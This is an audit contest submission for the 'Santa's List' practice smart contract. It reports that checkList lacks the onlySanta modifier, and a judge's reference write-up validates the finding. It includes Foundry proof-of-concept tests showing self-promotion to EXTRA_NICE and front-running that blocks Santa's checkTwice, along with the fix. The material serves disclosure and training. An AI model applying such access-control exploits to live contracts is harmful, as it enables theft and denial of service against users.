Santa's List

AI First Flight #3
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EXP
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Submission Details
Severity: high
Valid

checkList missing onlySanta modifier allows anyone to set first-check status for any address

Root + Impact

Description

checkList is missing the onlySanta modifier. Any external caller can invoke it to assign any Status (including EXTRA_NICE) to any address on s_theListCheckedOnce. While checkTwice correctly requires Santa's signature and also requires the two statuses to match, the missing modifier on checkList breaks the protocol's security model in two ways: (1) an attacker can pre-set their own address to EXTRA_NICE on the first list before Santa acts, and (2) an attacker can front-run Santa's checkTwice call by calling checkList to change the first-check status of a target address mid-flight, causing Santa's checkTwice to revert due to a mismatch.

Risk

// onlySanta modifier exists but is NOT applied here
function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
// Correctly restricted — but relies on checkList having been called by Santa
function checkTwice(address person, Status status) external onlySanta {
if (s_theListCheckedOnce[person] != status) {
revert SantasList__SecondCheckDoesntMatchFirst();
}
s_theListCheckedTwice[person] = status;
emit CheckedTwice(person, status);
}

The modifier is defined and used elsewhere but simply omitted from checkList:

modifier onlySanta() {
if (msg.sender != i_santa) {
revert SantasList__NotSanta();
}
_;
}

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
contract CheckListPoCTest is Test {
SantasList santasList;
SantaToken santaToken;
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
uint256 constant CHRISTMAS = 1_703_480_381;
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
}
function test_anyoneCanSetOwnStatusToExtraNice() public {
// Attacker sets themselves as EXTRA_NICE on the first list
vm.prank(attacker);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
// Santa (perhaps mistakenly, or after being tricked) calls checkTwice
// This now passes because statuses match
vm.prank(santa);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
// Attacker collects NFT + free SantaTokens
vm.warp(CHRISTMAS + 1);
vm.prank(attacker);
santasList.collectPresent();
assertEq(santaToken.balanceOf(attacker), 1e18);
assertEq(santasList.balanceOf(attacker), 1);
}
function test_attackerCanGriefSantasCheckTwice() public {
// Santa checks an innocent user as NICE on first list
vm.prank(santa);
santasList.checkList(makeAddr("innocent"), SantasList.Status.NICE);
// Attacker front-runs Santa's checkTwice and changes first-list status
vm.prank(attacker);
santasList.checkList(makeAddr("innocent"), SantasList.Status.NAUGHTY);
// Santa's checkTwice now reverts — SecondCheckDoesntMatchFirst
vm.prank(santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
santasList.checkTwice(makeAddr("innocent"), SantasList.Status.NICE);
}
}

Recommended Mitigation

Add the onlySanta modifier to checkList:

// BEFORE (vulnerable)
function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
// AFTER (fixed)
function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

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